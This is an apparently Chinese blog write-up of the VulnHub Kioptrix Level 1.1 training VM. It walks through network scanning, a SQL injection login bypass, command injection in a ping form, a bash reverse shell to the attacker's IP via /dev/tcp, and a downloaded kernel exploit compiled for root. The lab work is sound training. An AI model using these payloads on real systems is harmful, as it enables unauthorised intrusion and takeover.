

# vulnhub - Kioptrix: Level 1.1 (#2) writeup

原创

一支神经病 于 2019-12-12 17:46:07 发布 513 收藏 1

分类专栏: [VM破解](#) 文章标签: [oscp writeup](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/Jiajiajiang\\_/article/details/103508312](https://blog.csdn.net/Jiajiajiang_/article/details/103508312)

版权



[VM破解](#) 专栏收录该内容

18 篇文章 1 订阅

订阅专栏

主机来源: [www.vulnhub.com](http://www.vulnhub.com)

下载地址: [https://download.vulnhub.com/kioptrix/Kioptrix\\_Level\\_2-update.rar](https://download.vulnhub.com/kioptrix/Kioptrix_Level_2-update.rar)

## 发现IP

安装成功后, 查找此虚拟机的IP, 我使用的是netdiscover

```
netdiscover -i eth0 -r 172.21.137.0/24
```

找到IP为: 172.21.137.47

## 端口扫描

```
root@Jessica:~# nmap -sV -p- 172.21.137.47
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-12 14:24 CST
Nmap scan report for 172.21.137.47
Host is up (0.0053s latency).
Not shown: 65528 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 3.9p1 (protocol 1.99)
80/tcp    open  http         Apache httpd 2.0.52 ((CentOS))
111/tcp   open  rpcbind      2 (RPC #100000)
443/tcp   open  ssl/https?
631/tcp   open  ipp          CUPS 1.1
744/tcp   open  status       1 (RPC #100024)
3306/tcp  open  mysql        MySQL (unauthorized)
MAC Address: 00:0C:29:AF:8E:80 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 28.38 seconds
https://blog.csdn.net/Jiajiajiang_
```

首先去看看80端口

## SQL注入

使用万能密码直接登录

Remote System Administration Login	
Username	admin' or '1'='1--
Password	•••
<input type="button" value="Login"/>	

## 命令执行

经典的命令执行

172.21.137.47/index.php

Welcome to the Basic Administrative Web Console	
Ping a Machine on the Network:	<input type="text"/> <input type="button" value="submit"/>

直接分号衔接命令

```
localhost;whoami
```

172.21.137.47/pingit.php

```
localhost;whoami

PING localhost.localdomain (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost.localdomain (127.0.0.1): icmp_seq=0 ttl=64 time=0.011 ms
64 bytes from localhost.localdomain (127.0.0.1): icmp_seq=1 ttl=64 time=0.016 ms
64 bytes from localhost.localdomain (127.0.0.1): icmp_seq=2 ttl=64 time=0.028 ms

--- localhost.localdomain ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.011/0.018/0.028/0.008 ms, pipe 2
apache
```

## 反弹shell

```
localhost;bash -i >& /dev/tcp/172.21.137.69/8080 0>&1
```

远程服务器开启监听

```
root@Jessica:~# nc -lvvp 8080
listening on [any] 8080 ...
```

弹回shell

```
root@Jessica:~# nc -lvvp 8080
listening on [any] 8080 ...
172.21.137.47: inverse host lookup failed: Unknown host
connect to [172.21.137.69] from (UNKNOWN) [172.21.137.47] 33685
bash: no job control in this shell
bash-3.00$ whoami
apache
```

但权限不够

## 提权

我们看下内核版本

```
uname -a
```

```
bash-3.00$ uname -a  
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
```

可以直接用linux2.6的提权

首先自己下下来exp

```
root@Jessica:~# wget https://www.exploit-db.com/download/9542  
--2019-12-12 16:23:36-- https://www.exploit-db.com/download/9542  
正在解析主机 www.exploit-db.com (www.exploit-db.com)... 192.124.249.8  
正在连接 www.exploit-db.com (www.exploit-db.com)|192.124.249.8|:443... 已连接。  
已发出 HTTP 请求，正在等待响应... 200 OK  
长度：2643 (2.6K) [application/txt]  
正在保存至：“9542”  
  
9542          100%[=====>]    2.58K  --.-KB/s  用时 0s  
2019-12-12 16:23:39 (108 MB/s) - 已保存“9542” [2643/2643]
```

然后让靶机下载（不直接让靶机下的原因是ssl有问题）

开启http服务

```
python -m SimpleHTTPServer 9090
```

下载

```
bash-3.00$ wget http://172.21.137.69:9090/9542  
--23:25:51-- http://172.21.137.69:9090/9542  
=> `9542`  
Connecting to 172.21.137.69:9090... connected.  
HTTP request sent, awaiting response... 200 OK  
Length: 2,643 (2.6K) [application/octet-stream]  
  
 0K ..                               100%   2.16 MB/s  
23:25:51 (2.16 MB/s) - `9542' saved [2643/2643]
```

编译

```
bash-3.00$ gcc 9542.c  
9542.c:109:28: warning: no newline at end of file  
bash-3.00$ ls  
9542.c  
a.out
```

执行

```
bash-3.00$ ./a.out  
sh: no job control in this shell  
sh-3.00# whoami  
root
```

结束



[创作打卡挑战赛](#) >

[赢取流量/现金/CSDN周边激励大奖](#)